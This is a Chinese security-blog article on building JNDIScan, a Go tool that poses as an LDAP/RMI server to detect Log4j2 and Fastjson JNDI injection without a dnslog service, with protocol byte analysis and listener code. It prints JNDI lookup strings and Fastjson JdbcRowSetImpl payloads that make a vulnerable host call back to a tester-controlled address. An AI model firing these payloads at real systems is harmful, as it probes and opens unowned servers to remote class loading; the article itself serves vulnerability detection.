0x00 介绍

目前的Log4j2检测都需要借助dnslog平台,是否存在不借助dnslog的检测方式呢

也许在甲方内网自查等情景下有很好的效果

笔者实习期间参与过xray的一些开发,对其中的反连平台有一些了解。正好天下大木头师傅找到我,提出了它同样的思路,于是我们交流后编写了一款工具,目前功能简单,后续可能会加强

主要原理是参考LDAPRMI协议文档,编写解析协议的代码,获取我们需要的数据,保存即可

所以本文主要就是分析该工具的介绍和编写思路,首先来看看效果

运行工具:./Log4j2Scan.exe -p 8000

由于我在本地测试,所以ip地址为127.0.0.1

使用RMI触发漏洞(RMI方式的Payload必须有Path否则不会发请求)

public static void main(String[] args) {
    logger.error("${jndi:rmi://127.0.0.1:8000/xxx}");
}

使用LDAP触发漏洞

public static void main(String[] args) {
    logger.error("${jndi:ldap://127.0.0.1:8000}");
}

可以看到命令行的输出

我另外做了一个动态更新的web页面,每收到一个请求都会在页面中刷新

这是最初的版本,这两天我加入了一些新功能,可以从路径中带出参数,该功能有利于批量扫描等方式

(例如ldap://127.0.0.1:1389/4ra1n会收集到4ra1n

后来木头师傅又做了Burpsuite插件的适配(由于一些原因木头师傅删除了这些功能)

0x01 LDAP

无论是LDAP还是RMI协议情况下的漏洞触发,总是需要发请求的,于是我们将这些请求抓包分析

搭建正常的LDAP Server并监听lookback网卡并设置端口为tcp:1389

无需关心前三步,这三步是TCP的握手,并不包含真正的数据,从PSH+ASK这一条数据来看

首先是漏洞触发端(客户端)向LDAP服务端发了300c020101600702010304008000这样的一串数据

经过多次不同操作系统下的测试,确认这应该是LDAP协议的指纹,正常情况下客户端都会向服务端首先发送这样一个字符串,为了进一步确认,我尝试到googlegithub进行搜索

Github类似代码 中发现该字符串被很多脚本作为LDAP协议的探测指纹信息,在 官方文档 中确认了为什么是这样的字符串

30 0c -- Begin the LDAPMessage sequence
   02 01 01 --  The message ID (integer value 1)
   60 07 -- Begin the bind request protocol op
      02 01 03 -- The LDAP protocol version (integer value 3)
      04 00 -- Empty bind DN (0-byte octet string)
      80 00 -- Empty password (0-byte octet string with type context-specific
            -- primitive zero)

于是我们用Golang编写了类似的逻辑,构造了一个虚假的LDAP Server分析来自漏洞触发端的TCP连接

监听Socket

log.Info("start fake reverse server")
listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", config.Port))
...
for {
    conn, err := listen.Accept()
    ...
    // 分析
    go acceptProcess(&conn)
}

根据上述指纹进行分析

func acceptProcess(conn *net.Conn) {
   buf := make([]byte, 1024)
   num, err := (*conn).Read(buf)
   ...
   hexStr := fmt.Sprintf("%x", buf[:num])
   // LDAP 指纹
   if "300c020101600702010304008000" == hexStr {
      // 如果符合则记录该请求
      res := &model.Result{
         Host:   (*conn).RemoteAddr().String(),
         Name:   "LDAP",
         Finger: hexStr,
      }
   }
}

到这一步只能确定是LDAP协议还拿不到传过来的参数(ldap://127.0.0.1:1389/4ra1n中的4ra1n

于是继续查看官方文档,构造标准的返回包

30 0c -- Begin the LDAPMessage sequence
   02 01 01 -- The message ID (integer value 1)
   61 07 -- Begin the bind response protocol op
      0a 01 00 -- success result code (enumerated value 0)
      04 00 -- No matched DN (0-byte octet string)
      04 00 -- No diagnostic message (0-byte octet string)

按照标准返回之后,会再次从客户端得到输入

不过这个包并不能匹配到LDAP官方文档中任意一种协议(也许是我没找到)

通过大量请求做diff后发现这里新输入的规律

  • 输入前7位是固定的
  • 输入的第8位代表路径的长度n(例如4ra1n长度为05
  • 从第9位到第9+n位是对应的路径参数

按照这个规则编写,即可取到其中的参数

if "300c020101600702010304008000" == hexStr {
    data := []byte{
        0x30, 0x0c, 0x02, 0x01, 0x01, 0x61, 0x07,
        0x0a, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00,
    }
    _, _ = (*conn).Write(data)
    _, _ = (*conn).Read(buf)
    length := buf[8]
    pathBytes := bytes.Buffer{}
    for i := 1; i <= int(length); i++ {
        temp := []byte{buf[8+i]}
        pathBytes.Write(temp)
    }
    // 得到path
    path := pathBytes.String()
    ...
    _ = (*conn).Close()
    return
}

0x02 RMI

RMI的分析过程大致分为5步,我将和大家逐个介绍

(1)Client -> Server

接下来分析RMI的情况

同样的方式抓包看到4a524d4900024b的指纹,由漏洞触发端(客户端)发向RMI服务端

不过RMI协议的开头并不这么简单,不一定是一个固定的字符串

Oracle官网看到了这样的描述:RMI协议分为请求头Header和消息Message部分,上文的字符串是Header相关的内容,该TCP连接后续会进行Message的传输

关于Header的解释如下:0x4a 0x52 0x4d 0x49为固定字节(转成字符串是JRMI

后面两个字节分别表示VersionProtocol信息,按照RMI协议的规定,这里的Version应该是0x00 0x01,实际抓包看到的是0x00 0x02,或许是文档较老的原因?

末尾的0x4b表示这是StreamProtocol协议方式,没有什么问题

Header:
    0x4a 0x52 0x4d 0x49 Version Protocol

Version:
    0x00 0x01

Protocol:
    StreamProtocol
    SingleOpProtocol
    MultiplexProtocol

StreamProtocol:
    0x4b

SingleOpProtocol:
    0x4c

MultiplexProtocol:
    0x4d

其实仔细看Wireshark的解析,和我做的分析一致

如果只为了确认RMI协议,那么到这里就可以了

但我们的目的是获取路径参数,在RMI协议中这一步尤其复杂

(2)Server -> Client

接下来应该是RMI服务端返回数据给漏洞触发端(客户端)

原始报文为

0000   4e 00 0f 44 45 53 4b 54 4f 50 2d 46 50 30 32 42   N..DESKTOP-FP02B
0010   4b 48 00 00 f8 8e                                 KH....

根据官方文档不难看出0x4e表示ProtocolAck且后续内容应该是具体返回的值

In:
    ProtocolAck Returns

ProtocolAck:
    0x4e

简单分析了下这里0x00 0x0f表示长度15,后15位DESKTOP-FP02BKH是服务端的主机名

最后的0xf8 0xfeRMI客户端的端口:63630

Wireshark中可以看到解析结果和分析一致

(3)Client -> Server

接下来客户端会向服务端发送如下的数据,报文如下

0000   00 0b 31 39 32 2e 31 36 38 2e 31 2e 34 00 00 00   ..192.168.1.4...
0010   00                                                .

其中0b表示一个内网地址长度,正好是192.168.1.4,其余部分用00填充

于是想到这里的地址是否可以伪造

(4)Server -> Client

接下来服务端需要向客户端传一个空(至关重要)

(5)Client -> Server

下一步是客户端继续向服务端发送,报文以0x50开头,表示call操作

Call:
    0x50 CallData

报文如下,开头的aced0005是经典序列化数据头,结尾的jlmz6v是我们需要的路径参数

0000   50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00   P....w".........
0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0020   02 44 15 4d c9 d4 e6 3b df 74 00 06 6a 6c 6d 7a   .D.M...;.t..jlmz
0030   36 76                                             6v

现在问题来了,这是什么类的序列化数据

想办法对这个数据进行反序列化,发现报错

byte[] data = new byte[]{
    (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x77, (byte)0x22,
    (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
    (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
    (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
    (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
    (byte)0x00, (byte)0x02, (byte)0x44, (byte)0x15, (byte)0x4d, (byte)0xc9,
    (byte)0xd4, (byte)0xe6, (byte)0x3b, (byte)0xdf, (byte)0x74, (byte)0x00,
    (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76
};
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
System.out.println(obj);

在尝试研究后,发现这个序列化数据类似String

byte[] data = new byte[]{
    (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x74, (byte)0x00,
    (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76
};
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
// 打印:jlmz6v
System.out.println(obj);

发现字符串数据位于末尾,且之前有一个表示长度的字节,如这里06 6a 6c 6d 7a06表示jlmz6v长度为6

因此能否从后往前读,如果已读到的长度等于当前读到的字节代表的数字,那么认为已读到的字符串翻转后是路径参数

(这种手段也许会有误报,但由于字母的ASCII码数值很大,所以大概率不会出问题)

(6)实现

首先根据第一步判断是否为RMI协议

func checkRMI(data []byte) bool {
    if data[0] == 0x4a &&
        data[1] == 0x52 &&
        data[2] == 0x4d &&
        data[3] == 0x49 {
        if data[4] != 0x00 {
            return false
        }
        // 0x01是官方规定的 0x02是实际抓包的结果
        // 所以可以认为0x01和0x02都为RMI协议
        if data[5] != 0x01 && data[5] != 0x02 {
            return false
        }
        if data[6] != 0x4b &&
            data[6] != 0x4c &&
            data[6] != 0x4d {
            return false
        }
        lastData := data[7:]
        for _, v := range lastData {
            if v != 0x00 {
                return false
            }
        }
        return true
    }
    return false
}

进一步获取路径参数比较麻烦

if checkRMI(buf) {
    // 需要发的数据(这里模拟了127.0.0.1)
    // 实际上这个数据可以随意模拟
    // 只要保证4e00开头
    data := []byte{
        0x4e, 0x00, 0x09, 0x31, 0x32,
        0x37, 0x2e, 0x30, 0x2e, 0x30,
        0x2e, 0x31, 0x00, 0x00, 0xc4, 0x12,
    }
    _, _ = (*conn).Write(data)
    // 这里读到的数据没有用处
    _, _ = (*conn).Read(buf)
    // 需要发一次空数据然后接收call信息
    _, _ = (*conn).Write([]byte{})
    _, _ = (*conn).Read(buf)
    var dataList []byte
    flag := false
    // 从后往前读因为空都是00
    for i := len(buf) - 1; i >= 0; i-- {
        // 这里要用一个flag来区分
        // 因为正常数据中也会含有00
        if buf[i] != 0x00 || flag {
            flag = true
            dataList = append(dataList, buf[i])
        }
    }
    // 拿到翻转路径索引
    // 原理在上文已写:
    // 已读到的长度等于当前读到的字节代表的数字
    // 那么认为已读到的字符串翻转后是路径参数
    var j int
    for i := 0; i < len(dataList); i++ {
        if int(dataList[i]) == i {
            j = i
        }
    }
    // 拿到翻转路径参数
    temp := dataList[0:j]
    pathBytes := &bytes.Buffer{}
    // 翻转后拿到真正的路径参数
    for i := len(temp) - 1; i >= 0; i-- {
        pathBytes.Write([]byte{dataList[i]})
    }
    ...
    _ = (*conn).Close()
    return
}

0x03 其他

最后分享一些简单的安全开发技术,对于想自己写安全工具师傅可能会有帮助

监听Socket收到的结果如何传递记录

构造一个非阻塞channel用于传输(给出默认长度就不阻塞了)

ResultChan = make(chan *model.Result, 100)

收到LDAPRMI请求后将数据输入channel

// LDAP
if "300c020101600702010304008000" == hexStr {
   // 记录数据
   res := &model.Result{
      Host:   (*conn).RemoteAddr().String(),
      Name:   "LDAP",
      Finger: hexStr,
   }
   // 数据输入channel
   ResultChan <- res
}

这时候其他的goroutine就可以取到channel中的结果

for {
    select {
        // 从channel中取到结果
        case res := <-ResultChan:
        // 输出结果
        info := fmt.Sprintf("%s->%s", res.Name, res.Host)
        log.Info("log4j2 detected")
        log.Info(info)
        // 第二个问题
        RenderChan <- res
    }
}

如何将结果传递给web页面

上面这个问题最后将结果放入了一个新的channel

RenderChan <- res

在开启web服务的时候,建一个goroutine用于接收这个数据

var (
    // 新channel的指针
    resultList []*model.Result
    // 为什么要上锁参考下一个问题
    lock       sync.Mutex
)

func StartHttpServer(renderChan *chan *model.Result) {
    log.Info("start result http server")
    // 开启web服务
    mux := http.NewServeMux()
    mux.Handle(config.DefaultHttpPath, &resultHandler{})
    server := &http.Server{
        Addr:         fmt.Sprintf(":%d", config.HttpPort),
        WriteTimeout: config.DefaultHttpTimeout,
        Handler:      mux,
    }
    // 负责接收实时数据
    go listenData(renderChan)
    _ = server.ListenAndServe()
}

func listenData(renderChan *chan *model.Result) {
    for {
        select {
        case res := <-*renderChan:
            // 申请锁
            // 为什么要上锁参考下一个问题
            lock.Lock()
            // 将结果加入到list中
            resultList = append(resultList, res)
            lock.Unlock()
        }
    }
}

如何做到web页面实时显示

上一个问题涉及到了互斥锁,正是为了解决这个问题

接收到请求会在HandlerServeHTTP中处理,上文中维护的全局列表在实时地添加最新扫描结果,如果这里直接取全局列表会出现并发问题,所以选用了互斥锁(也有其他的解决方案这种最简单)

type resultHandler struct {
}

func (handler *resultHandler) ServeHTTP(w http.ResponseWriter, _ *http.Request) {
    // 申请锁
    lock.Lock()
    // 根据当前list中的结果返回
    _, _ = w.Write(RenderHtml(resultList))
    lock.Unlock()
}

如何让前端实时刷新:首先想到的是Ajax定时请求插入新的数据,实现起来麻烦

于是想到暴力办法,定时刷新页面

<script>
    function fresh()
    {
        window.location.reload();
    }
    setTimeout('fresh()',3000);
</script>

0x04 总结

项目地址:https://github.com/EmYiQing/JNDIScan

由于一些原因,木头师傅要求我在项目中删除了他的ID,但木头师傅在该项目中的贡献不可否认。由于同样的原因,我不得不删除其中的动态web页面,转为生成本地的html文件。做安全真难,写个工具都不能安稳

最后我将项目名称从Log4j2Scan改为JNDIScan并加入了一些小功能

  • 自动获取内网和外网的IP,方便用户直接使用
  • 添加路径外带参数的功能,方面批量扫描(使用UUID等方式来确认漏洞)

最后,该项目不仅可用于Log4j2的扫描,也可用于Fastjson等可能存在JDNI注入漏洞组件的扫描

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://your-ip:port/xxx",
    "autoCommit": true
}

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://your-ip:port/params",
    "autoCommit": true
}
点击收藏 | 2 关注 | 1
登录 后跟帖